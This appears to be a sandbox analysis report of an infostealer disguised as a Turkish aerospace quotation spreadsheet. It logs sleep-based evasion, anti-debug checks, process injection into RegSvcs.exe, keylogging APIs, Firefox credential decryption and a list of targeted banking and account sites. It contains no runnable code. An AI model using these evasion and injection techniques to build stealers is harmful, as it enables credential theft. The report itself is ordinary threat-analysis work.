Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594968	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594749	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594639	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594422	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594312	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 7891			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 1972			Jump to behavior

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-105884

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

API coverage: 4.5 %

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_0100445A GetFileAttributesW,FindFirstFileW,FindClose,	0_2_0100445A
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_0100C75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_0100C75C
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_0100C6D1 FindFirstFileW,FindClose,	0_2_0100C6D1
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_0100EF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_0100EF95
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_0100F0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_0100F0F2
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_0100F3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_0100F3F3
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_010037EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_010037EF
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_01003B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_01003B12
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_0100BCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_0100BCBC

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Code function: 0_2_00FA49A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00FA49A0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599344	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599123	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599014	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598793	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598469	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597594	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597375	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597265	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597046	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596827	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596718	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596389	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596171	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596062	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595953	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595843	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595730	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595624	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595514	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595074	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594968	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594749	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594639	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594422	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594312	Jump to behavior

Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: RegSvcs.exe, 00000002.00000002.3939561592.0000000000908000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll*
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003796000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: RegSvcs.exe, 00000002.00000002.3941945198.0000000003AB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

API call chain: ExitProcess graph end node

graph_0-104309

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Code function: 0_2_01013F09 BlockInput,

0_2_01013F09

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Code function: 0_2_00FA3B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00FA3B3A

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Code function: 0_2_00FD5A7C EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_00FD5A7C

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Code function: 0_2_00FA4B37 LoadLibraryA,GetProcAddress,

0_2_00FA4B37

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_01260408 mov eax, dword ptr fs:[00000030h]	0_2_01260408
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_01261A38 mov eax, dword ptr fs:[00000030h]	0_2_01261A38
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_01261A98 mov eax, dword ptr fs:[00000030h]	0_2_01261A98

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Code function: 0_2_00FF80A9 GetTokenInformation,GetLastError,GetProcessHeap,HeapAlloc,GetTokenInformation,

0_2_00FF80A9

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_00FCA155 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_00FCA155
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_00FCA124 SetUnhandledExceptionFilter,		0_2_00FCA124

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: 0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.raw.unpack, COVID19.cs	Reference to suspicious API methods: MapVirtualKey(VKCode, 0u)
Source: 0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.raw.unpack, FFDecryptor.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(hModule, method), typeof(T))
Source: 0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.raw.unpack, FFDecryptor.cs	Reference to suspicious API methods: hModuleList.Add(LoadLibrary(text21 + "\\mozglue.dll"))

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe protection: execute and read and write

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 4E4008

Jump to behavior

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Code function: 0_2_00FF87B1 LogonUserW,

0_2_00FF87B1

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Code function: 0_2_00FA3B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00FA3B3A

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Code function: 0_2_00FA48D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_00FA48D7

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Code function: 0_2_01004C27 mouse_event,

0_2_01004C27

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe"

Jump to behavior

